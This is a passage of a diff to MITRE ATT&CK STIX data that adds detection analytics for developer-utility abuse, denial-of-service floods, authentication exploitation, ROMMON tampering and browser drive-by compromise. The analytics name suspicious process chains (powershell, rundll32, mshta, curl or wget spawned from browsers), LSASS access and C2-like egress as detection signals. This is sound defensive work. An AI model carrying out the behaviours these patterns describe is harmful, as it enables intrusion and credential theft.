concurrent logins using same cookie from different locations" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TokenReplayThreshold", + "description": "Number of concurrent uses of a cookie that should trigger an alert." + }, + { + "field": "GeoLocationAlerts", + "description": "Unusual SaaS logins from geographically distant locations in short timeframes." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d69c9d97-17d6-4dad-a4d4-ec41e7fb34fb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0172#AN0488", + "external_id": "AN0488" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0488", + "description": "A trusted/signed developer utility (parent) is executed in a non-developer context and (a) spawns suspicious children (e.g., powershell.exe, cmd.exe, rundll32.exe, regsvr32.exe, wscript.exe), (b) loads unsigned/user-writable DLLs, (c) writes and then runs a new PE from user-writable paths, and/or (d) immediately makes outbound network connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3, 22" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "WinEventLog:AppLocker", + "channel": "AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window between developer utility execution, payload write, and network egress (e.g., 0\u201330 minutes)." + }, + { + "field": "AllowedUtilitiesList", + "description": "Org-specific list of dev utilities legitimately used on build/dev hosts to suppress noise." + }, + { + "field": "DeveloperHosts", + "description": "List of known developer/build systems where these tools are expected; raise severity off-host." + }, + { + "field": "SuspiciousChildList", + "description": "Child processes considered high-risk when spawned by dev utilities (powershell.exe, rundll32.exe, regsvr32.exe, cmd.exe, wscript.exe, mshta.exe)." + }, + { + "field": "RarePathRegex", + "description": "Regex of user-writable or atypical paths (e.g., %TEMP%, %APPDATA%, recycle bin, public profile) for payload drops." + }, + { + "field": "UnsignedOrInvalidSignatureOnly", + "description": "Toggle to alert only when child/payload is unsigned or signature invalid to reduce noise." + }, + { + "field": "ParentProcessAllowList", + "description": "Known orchestrators (e.g., CI/CD agents) that often run these utilities legitimately." + }, + { + "field": "NetworkReputationThreshold", + "description": "Heuristic for rare/unknown destination (no DNS reputation, new domain, geo outside region)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8c03988c-3387-48e4-8013-7b9d223b8911", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0173#AN0489", + "external_id": "AN0489" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0489", + "description": "High-frequency, repetitive service requests (e.g., HTTP, TLS renegotiation) originating from a single or small set of source IPs targeting endpoint web services or application ports, leading to exhaustion of CPU or memory on targeted Windows services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "Unexpected spikes in request volume, application-level errors, or thread pool exhaustion in web or API logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "Windows:perfmon", + "channel": "Sustained CPU/memory exhaustion by service process (e.g., w3wp.exe)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines burst threshold (e.g., 1 min, 5 min) for connection spikes" + }, + { + "field": "TargetServicePort", + "description": "Specific ports/services likely to be abused (e.g., 80, 443, 8080)" + }, + { + "field": "CPUThreshold", + "description": "Level of sustained CPU usage considered anomalous for a given service" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c7752951-1077-478d-9511-df852cba6b28", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0173#AN0490", + "external_id": "AN0490" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0490", + "description": "Excessive inbound HTTP or TLS connections to services such as Apache or Nginx, causing worker thread exhaustion or segmentation faults.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "auditd:SYSCALL", + "channel": "High frequency of accept(), read(), or SSL_read() syscalls tied to nginx/apache processes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Sudden spike in incoming flows to web service ports from single/multiple IPs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "Repetitive HTTP 408, 500, or 503 errors logged within short timeframe" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ErrorCodeWindow", + "description": "Tunable count of specific HTTP error codes in timeframe" + }, + { + "field": "ConnectionRateThreshold", + "description": "Defines number of connections per second considered anomalous" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--00bf6b2e-444a-4a83-aafd-43bc8eea4594", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0173#AN0491", + "external_id": "AN0491" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0491", + "description": "Flood of incoming TLS or HTTP(S) connections to macOS-hosted services (e.g., MAMP, Apache), causing high CPU usage and system unresponsiveness.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "macos:unifiedlog", + "channel": "Web service process (e.g., httpd) entering crash loop or consuming excessive CPU" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "Rapid incoming TLS handshakes or HTTP requests in quick succession" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TLSHandshakeRate", + "description": "Number of renegotiations per minute considered suspicious" + }, + { + "field": "ServiceCrashFrequency", + "description": "Threshold of crashes before alerting on instability" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7dbd928f-da93-4cbf-af73-ac5987a7858a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0173#AN0492", + "external_id": "AN0492" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0492", + "description": "Automated or scripted HTTP/TLS flooding from one VM or cloud instance against another service, exploiting compute-based billing or exhaustion of service infrastructure.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", + "name": "AWS:CloudTrail", + "channel": "AuthorizeSecurityGroupIngress" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "AWS:VPCFlowLogs", + "channel": "Unusual volume of inbound packets from single source across short time interval" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "AWS:CloudWatch", + "channel": "Sustained spike in CPU usage on EC2 instance with web service role" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VPCFlowBurstRate", + "description": "Threshold for traffic burst on target service port" + }, + { + "field": "EC2CPUThreshold", + "description": "Compute saturation level for alerting (e.g., >90% for 3 minutes)" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2d4a40e4-359f-49ac-9e3f-58e29497aa41", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0174#AN0493", + "external_id": "AN0493" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0493", + "description": "Detects adversary exploitation of authentication mechanisms or credential validation processes. Defender perspective includes forged Kerberos tickets (e.g., MS14-068), abnormal LSASS memory access, replayed authentication attempts, and unexpected crashes of authentication services. Multi-event correlation ties exploitation attempts to abnormal process creation, service instability, and suspicious authentication events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "WinEventLog:Security", + "channel": "EventCode=4768, 4769, 4770" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredAccounts", + "description": "High-value accounts (e.g., Domain Admins) for anomalous ticket issuance or replay activity." + }, + { + "field": "ReplayDetectionWindow", + "description": "Time window for correlating duplicate or replayed Kerberos authentications." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3f3ae0da-3005-42d7-afa3-8eaa8da3f700", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0174#AN0494", + "external_id": "AN0494" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0494", + "description": "Detects exploitation of authentication daemons or PAM modules. Defender perspective includes failed or anomalous PAM authentications, abnormal segfaults in authentication services, and exploitation attempts followed by successful unauthorized logins. Correlation identifies memory corruption, replay attempts, and privilege escalation tied to credential services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "NSM:Connections", + "channel": "Repeated failed authentication attempts or replay patterns" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthServiceList", + "description": "List of monitored authentication services (e.g., sshd, gdm, PAM modules)." + }, + { + "field": "FailureThreshold", + "description": "Number of failed authentications within a window before escalating to replay suspicion." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bb339113-e807-45fe-99c4-ed8348e51b36", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0174#AN0495", + "external_id": "AN0495" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0495", + "description": "Detects exploitation attempts against macOS authentication frameworks such as OpenDirectory or Keychain. Defender perspective includes abnormal crashes in opendirectoryd, unauthorized Keychain API usage, and unusual sudo or login events. Correlation links unexpected process behavior with credential access anomalies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "opendirectoryd crashes or abnormal authentication errors" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "execve: Processes unexpectedly invoking Keychain or authentication APIs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedAPIs", + "description": "List of authentication and Keychain-related APIs to monitor for unauthorized access." + }, + { + "field": "CrashCorrelationWindow", + "description": "Time window for correlating authentication service crashes with subsequent suspicious access." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0b8b8557-0393-4c63-963f-e5a3b5cc6ad8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0174#AN0496", + "external_id": "AN0496" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0496", + "description": "Detects exploitation of vulnerabilities in cloud identity providers (IdPs) such as Azure AD or Okta for credential access. Defender perspective includes anomalous token creation or renewal, authentication bypass events, and API abuse to mint unauthorized tokens. Correlation highlights exploitation attempts tied to absent or inconsistent audit logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "TokenIssued, TokenRenewed: Unexpected or anomalous token issuance events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "ConsentGranted: Abuse of application integrations to mint tokens bypassing MFA" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TokenAnomalyThreshold", + "description": "Threshold for anomalous token creation or renewal before alerting." + }, + { + "field": "MonitoredAppIntegrations", + "description": "Applications with privileged access that should be tightly monitored for misuse." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ca649f9b-2a1f-4d45-b61b-33ac38d6a4ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0175#AN0497", + "external_id": "AN0497" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0497", + "description": "Detection of anomalous ROMMON image changes or upgrades, unexpected reboots following firmware updates, and unauthorized use of firmware upgrade commands or TFTP transfers. Correlation of config modification, privilege escalation, and boot cycle anomalies provides visibility into ROMMON tampering attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "networkdevice:config", + "channel": "Log entries indicating ROMMON image upgrade commands (boot system, upgrade rom-monitor)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "networkdevice:syslog", + "channel": "Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "Outbound or inbound TFTP file transfers of ROMMON or firmware binaries" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedROMMONVersions", + "description": "Baseline ROMMON image versions authorized for the environment" + }, + { + "field": "TimeWindow", + "description": "Correlation window between ROMMON update command, TFTP file transfer, and device reboot" + }, + { + "field": "AdminUserContext", + "description": "Expected privileged accounts allowed to execute ROMMON upgrade commands" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--35701083-a327-4f68-a426-13751b9743c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0176#AN0498", + "external_id": "AN0498" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0498", + "description": "Correlated evidence of anomalous browser/network behavior (suspicious external resource fetches and script injection patterns) followed by atypical child processes, ephemeral execution contexts, memory modification or process injection, and unexpected file drops. Defender sees network requests to previously unseen/suspicious domains or resources + browser process spawning unusual children or loading unsigned modules + file writes or registry changes shortly after those requests.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "Browser or plugin/application logs showing script errors, plugin enumerations, or unusual extension load events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "Memory Modification / Unmapped module load or suspicious RWX allocations in the process space of a browser process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation time window between suspicious network fetch and subsequent process/file events. Tweak for environment latency and caching; default 2 minutes." + }, + { + "field": "KnownGoodDomainsList", + "description": "Allowlist of high-volume, benign domains used by corporate sites or CDNs to reduce false positives." + }, + { + "field": "PayloadEntropyThreshold", + "description": "Entropy threshold for downloaded script/binary content to surface likely obfuscated/packed payloads." + }, + { + "field": "UserContext", + "description": "Exclude or treat differently known administrative service accounts or build machines versus end-user contexts." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--32b5b330-2a40-4117-8999-395c23490614", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0176#AN0499", + "external_id": "AN0499" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0499", + "description": "Correlated evidence of browser or webview fetches to uncommon domains or mutated JS resources (proxy/NGFW logs + Zeek/HTTP logs) followed by unexpected interpreters or script engines executing (python, ruby, sh) spawned from browser processes or user sessions, rapid on-disk staging in /tmp, and outbound connections that deviate from baseline. Defender sees: uncommon resource fetch \u2192 short-lived child process executions from user browser context \u2192 file writes in temp directories \u2192 anomalous outbound C2-like connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "Application or browser logs (webview errors, plugin enumerations) indicating suspicious script evaluation or plugin loads" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "linux:Sysmon", + "channel": "New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Connections", + "channel": "Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TempPathPatterns", + "description": "Paths used for staging differ by distro and package manager; tune to include company-specific temp paths or exclude known benign build machines." + }, + { + "field": "UserShellWhitelist", + "description": "Whitelist known server/service accounts or CI/CD runners where shell executions are expected." + }, + { + "field": "DomainRarityThreshold", + "description": "Threshold for flagging domains based on internal popularity vs global rarity." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--230a55ce-4584-4588-a006-5532a9efdbd8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0176#AN0500", + "external_id": "AN0500" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0500", + "description": "Correlated evidence where Safari/Chrome/WebKit-based processes issue network requests for uncommon or obfuscated JS resources followed by spawning of script interpreters, launchd or ad-hoc binaries, unusual child processes, or dynamic library loads into browser processes. Defender sees: proxy/HTTP logs with suspicious resource content + unifiedlogs/ASL showing browser/plugin crashes or extension loads + process events indicating child process creation and file writes to /var/folders or /tmp shortly after the fetch.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Logs from unifiedlogging that show browser crashes, plugin enumerations, extension installs or errors around the same time as suspicious network fetches" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "macos:unifiedlog", + "channel": "Anomalous dyld dynamic library loads or RWX memory mappings in browser process" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SleepyUserThreshold", + "description": "Volume thresholds for interactive user browsing vs. automated systems (e.g., shared kiosks) \u2014 tune to reduce FP in heavy-browsing 